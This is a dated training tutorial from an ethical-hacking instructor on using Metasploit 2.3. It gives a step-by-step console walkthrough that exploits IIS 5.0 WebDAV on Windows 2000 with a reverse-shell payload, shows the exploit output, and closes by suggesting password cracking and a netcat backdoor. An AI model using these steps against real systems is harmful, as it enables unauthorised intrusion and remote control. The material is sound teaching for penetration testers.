

# Metasploit™ Tutorial - A New Day for System Exploits

digg this storyDiscuss in Forums {mos\_smf\_discuss:J. Peltier}By Justin Peltier, Chief Technology Officer, Peltier Associates

How tough is it to really compromise a system? As an ethical hacking instructor, that is a question that I get asked quite frequently. My usual response to this type of question is to encourage the questioner to try to compromise a system, which they own, to find out the time and skill necessary to compromise a system. There is real value in getting a true sense of what it really takes to actually defeat common security measures. This provides first hand experience that cannot really be duplicated from listening to an industry expert or from reading articles and books. The main reason for this is that there is a lot of misinformation, some intentional and some not, available. The easiest way to determine just how difficult something like compromising systems or defeating wireless encryption is &ndash; is to try it for yourself.

Most security professionals are aware attacking and penetrating network devices is getting easier and attack sophistication is getting more complex. In large part this phenomenon is due to the old adage of "standing on the shoulders of giants." Many system researchers have uncovered the security weakness is common system design years ago, and as security professionals they shared the information. This allows someone with little understanding of system architecture to be able to perform more complex attacks than ever though possible.

For a security professional it is possible to compromise a system without spending months learning a programming language and years learning system architecture. We can actually use technology to assist in performing penetration system penetration. Products like Core Security's Core Impact and Immunity's Canvas products (See post: Hacking with Exploit Frameworks) have been providing this type of functionality for a few years now. These manufacturers do not just provide the technology, but they also provide training and support of their products to allow a qualified professional to perform a more methodological penetration test. It makes the task of compromising a system easier for a security administrator.

The previously mentioned utilities are both fee based products, but more recently an open source product has become a common sight in penetration testing kits. This utility is called Metasploit&trade;. Both Windows and Linux users can take advantage of the Metasploit&trade; product to perform a penetration test or system compromise. The utility itself is written in many programming languages including perl, C, and assembler.

This environment provides many ready to use exploits and also allows for the security tester to customize them or to create their own exploit. The basic process for using the Metasploit&trade; console is not the most intuitive, but I think this was done to discourage the least skilled script kiddies from attempting to penetrate the system using this specific utility. The basic format for exploiting the system is as follows:

1. Pick which exploit to use
2. Configure the exploit with remote IP address and remote port number
3. Pick a payload
4. Configure the payload with local IP address and local port number
5. Execute the exploit

While this process is much more difficult to do than just a "point and click" utility, it should not take more than an hour or so to get a good feel for the overall process. Perhaps the easiest mechanism for using the Metasploit&trade; utility is to take advantage of a bootable "Live CD" such as Whoppix or Auditor.

Many experts believe that understanding how to compromise a system is knowledge that should not be shared and utilities such as Metasploit&trade;, Canvas, and Core Impact make it easier for systems to be compromised or exploit code to be developed. To a certain point it can not be argued that these utilities make the process easier, but there has not been a major increase in the amount of exploit code available since the release of these tools. Also remember that the security hole is not in the fact that exploit code exists that allows an attacker to penetrate a system &ndash; the hole is in the fact that the underlying vulnerability exists in the first place.

It is also worthy of note that most system attackers already have the necessary knowledge of how to compromise systems or how to develop exploit code. These utilities give the security administrator the opportunity to test their own systems for security weaknesses before an attacker discovers this and in a way this begins to level the playing field for the security administration staff. In fact these types of utilities may eventually become common practice for system developers to use while writing the application and this may stop the vulnerability from ever being published in the first place.

I encourage you to find some time to sit down and download a "Live CD" distribution, fire it up, and check out one of the utilities mentioned above. So that if someone ever mentions the difficulty involved in compromising a system you will know exactly what it really takes. Example of Using Metasploit;

The goal of the exercise below is to become familiar with the Metasploit framework and to perform a compromise of a Windows 2000 system. These steps can be done easily from most popular bootable CD Linux distributions. The steps below are for use with the Whoppix/Whax distro (<http://ftp.belnet.be/linux/whoppix/>). I understand that some people prefer the web interface for using Metasploit, but from our extensive testing we have found the good old command line to be more reliable.

To begin, boot to your CD and pull up a shell window. From there you will need to move to the Metasploit directory. To do this from a command prompt type:

```
cd /KNOPPIX/pentest/exploits/framework-2.3/
```

Launch the Metasploit console. To do this, from a command line type the following:

```
# ./msfconsole "Pick which exploit to use"
```

Once the msfconsole is running, it is time to decide which exploit to attempt against the target system. Your options here stem from the following commands:

```
- <!--[if !supportLists]-->use
- <!--[if !supportLists]-->show
- <!--[if !supportLists]--><!--[endif]-->info
```

The use command will tell the utility exactly which exploit to select. The show command will do nothing on its own, but can be combined with exploits or payloads as shown in the examples below. The info command provides details about a specific module.

Start by entering "show exploits" to see the list of exploits available. Pretty impressive, huh? Many of the exploits listed here are going to work against the target servers and in fact we use many of these exploits in the ethical hacking course.

If you need some hints, I recommend starting with the "iis50\_webdav\_ntdll" exploit.

To actually start the exploit type "use iis50\_webdav\_ntdll" After use &ndash; configure options

We've selected our exploit, but we are not done yet. We need to set options. These options include the destination IP and the destination port. The options are configured by using the set command. The show advanced command will let you know if there are more options that can be set. Most exploits do not have advanced options.

Start by typing "show options"

This will show you the command requirements to run the exploit.

These include the RHOST (This is the host that we are going to compromise) and the RPORT (this is the port that the vulnerable function is running on)

To set these options type "set RHOST <your partner machines IP address>" and press enter. On the next line type "set RPORT 80" Is the exploit going to work?

We have a system, we have an exploit. Are we going to be able to compromise the system? Now is the time to find out.

To perform the check type "check".

This may not work on all exploits. This will see if the server or target appears vulnerable.

For some exploits you might have to provide information about what type of system to compromise. With the attack listed above this is not necessary. If you want to know why this is important sign-up for the ethical hacking courses. Here are steps if you use an exploit that requires you to select a target.

If your check is unsuccessful, you may need to select some additional options about the target that you are hoping to compromise. This usually includes a description of the OS and the service pack level of the system. In some modules there is a brute force option. What is being configured here is the memory offset that the utility will use to find the vulnerable function. The brute force option will try many memory offsets, but the result will be a lot less stealthy if you are

unsuccessful. If you enter "show targets" you should see something like the below.

```
msf iis50_webdav_ntdll > show targets
```

Supported Exploit Targets

```
=====
```

```
0 Windows 2000 BruteforceWhat do we want a successful attack to do?
```

What Metasploit calls a payload, many others refer to as shell code or opcode. This is the code that we wish to have inserted directly into the buffer that we are overflowing. In most cases the shell code is going to be service pack dependant, OS dependant, and architecture (i386) dependant as well. This means that most of the payloads in the Metasploit framework will work for only certain OS's and on certain processors. Even if you select an appropriate payload you will have to configure options to get the payload to work. The most frequently used type of shell code is code that generates a reverse shell from the compromised system back to the attacking system. Using the stubs mentioned before in the exploits section also apply to the payloads section. If you type "show payloads" you should see a response like the below .

```
msf iis50_webdav_ntdll > show payloads
```

Metasploit Framework Usable Payloads

```
=====
```

```
win32_bind Windows Bind Shell
```

```
win32_bind_dllinject Windows Bind DLL Inject
```

```
win32_bind_meterpreter Windows Bind Meterpreter DLL Inject
```

```
win32_bind_stg Windows Staged Bind Shell
```

```
win32_bind_stg_upexec Windows Staged Bind Upload/Execute
```

```
win32_bind_vncinject Windows Bind VNC Server DLL Inject
```

```
win32_exec Windows Execute Command
```

```
win32_reverse Windows Reverse Shell
```

```
win32_reverse_dllinject Windows Reverse DLL Inject
```

```
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
```

```
win32_reverse_stg Windows Staged Reverse Shell
```

```
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
```

```
win32_reverse_vncinject Windows Reverse VNC Server Inject
```

In this case the best shell to try will be the win32\_reverse payload. To do this type "set PAYLOAD win32\_reverse"

This payload requires some options. These include the exit function, the local host and the local port.

To see these options type "show options" you should see something like the below:

```
msf iis50_webdav_ntdll(win32_reverse) > show options
```

Exploit and Payload Options

```
=====
```

Exploit: Name Default Description

-----

optional SSL Use SSL

required RHOST 67.36.70.19 The target address

required RPORT 80 The target port

Payload: Name Default Description

-----

required EXITFUNC seh Exit technique: "process", "thread", "seh"

required LHOST Local address to receive connection

required LPORT 4321 Local port to receive connection

Target: Windows 2000 Bruteforce

To set the missing options, we will use the set command like above. Before we can set these values we need to know what they are. To find your local IP address open another shell window, by either right clicking on the desktop or (if your CD has this option) look for the computer icon in the program bar. If you right click on the desktop look for the shell option. If you do this step right you should see a new shell box (kinda sorta like a DOS command prompt box on XP) appear.

Once you have the box open type "ifconfig". This will show the information for all of the interfaces for you linux system. This is the equivalent of the ipconfig command in Windows. You should see something like the following:

```
[root@localhost ~]# ifconfig
```

```
eth0 Link encap:Ethernet HWaddr 00:03:25:13:43:F2
```

```
inet addr:10.5.14.173 Bcast:10.5.15.255 Mask:255.255.252.0
```

```
inet6 addr: fe80::203:25ff:fe13:43f2/64 Scope:Link
```

```
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
```

```
RX packets:4563 errors:0 dropped:0 overruns:0 frame:0
```

```
TX packets:2905 errors:0 dropped:0 overruns:0 carrier:0
```

```
collisions:0 txqueuelen:1000
```

```
RX bytes:3696580 (3.5 MiB) TX bytes:325618 (317.9 KiB)
```

```
Interrupt:193 Base address:0x4c00
```

```
lo Link encap:Local Loopback
```

```
inet addr:127.0.0.1 Mask:255.0.0.0
```

```
inet6 addr: ::1/128 Scope:Host
```

```
UP LOOPBACK RUNNING MTU:16436 Metric:1
```

RX packets:213 errors:0 dropped:0 overruns:0 frame:0

TX packets:213 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:0

RX bytes:49707 (48.5 KiB) TX bytes:49707 (48.5 KiB)

What we are interested in, is the value for the eth0 (or whatever is active on your system it could be eth1 or some other interface), but you should see the value inet addr: and your IP address listed next to this. In the example above the IP address is 10.5.14.173. If you look closely you'll see that it is there. GO ahead and look &ndash; no one will laugh I promise.

Once we know this value we will set it with the set command. To do this type "set LHOST <your IP address>". This is all that really needs to be set, but for luck I always make one more change &ndash; I set the local port to 5555. This is just for superstition. I'm not going to give you exact instructions on how to do this, but if you can figure it out &ndash; be my guest and change it.

This payload with this exploit had no advanced options, but to check for other exploits type "show advanced". You should see something like the below.

```
msf iis50_webdav_ntdll(win32_reverse) > show advanced
```

Exploit and Payload Options

```
=====
```

```
Exploit (Msf::Exploit::iis50_webdav_ntdll):
```

```
-----
```

```
Payload (Msf::Payload::win32_reverse):
```

```
-----Making it all happen
```

Now is the time to see the fruits of your labor. This next phase will actually compromise the system if you have done everything correctly and the system is vulnerable. If all goes well you will own the box.

To do this type "exploit"

Once you launch the exploit it may take some time. The exploit is trying to brute force the memory offset for the vulnerable function. If you don't know what this means and want to learn &ndash; see the ethical hacking class as listed above.

If you've done everything right you should see something like the below.

```
[*] Starting Reverse Handler.
```

```
[*] Connecting to web server. OK
```

```
[*] Trying return address 0x004e004f...
```

```
[*] Sending request (65739 bytes)
```

```
[*] Connecting to web server. OK
```

```
[*] Trying return address 0x00420041...
```

```
[*] Sending request (65739 bytes)
```

```
[*] Connecting to web server. OK
```

```
[*] Trying return address 0x00430041...
```

```
[*] Sending request (65739 bytes)
[*] Connecting to web server. OK
[*] Trying return address 0x00c10041...
[*] Sending request (65739 bytes)
[*] Connecting to web server. OK
[*] Trying return address 0x00c30041...
[*] Sending request (65739 bytes)
[*] Connecting to web server. OK
[*] Trying return address 0x00c90041...
[*] Sending request (65739 bytes)
```

If you are successful you'll have a remote connection into the target machine and can do whatever you want. Once you've done this and received the prompt for the other system you "own the box". I won't tell you what to do next, after all where is the fun in that. Don't trash the system too bad if you want to exploit it again. You might want to try to crack the passwords&ndash; or you can create your own netcat backdoor.

Metasploit&trade; &ndash; available from <http://www.Metasploit&trade;.com>

It is not essential that the user boot a linux CD. To try out the framework on a Windows system, The Metasploit Project does provide a Windows installer on their web site.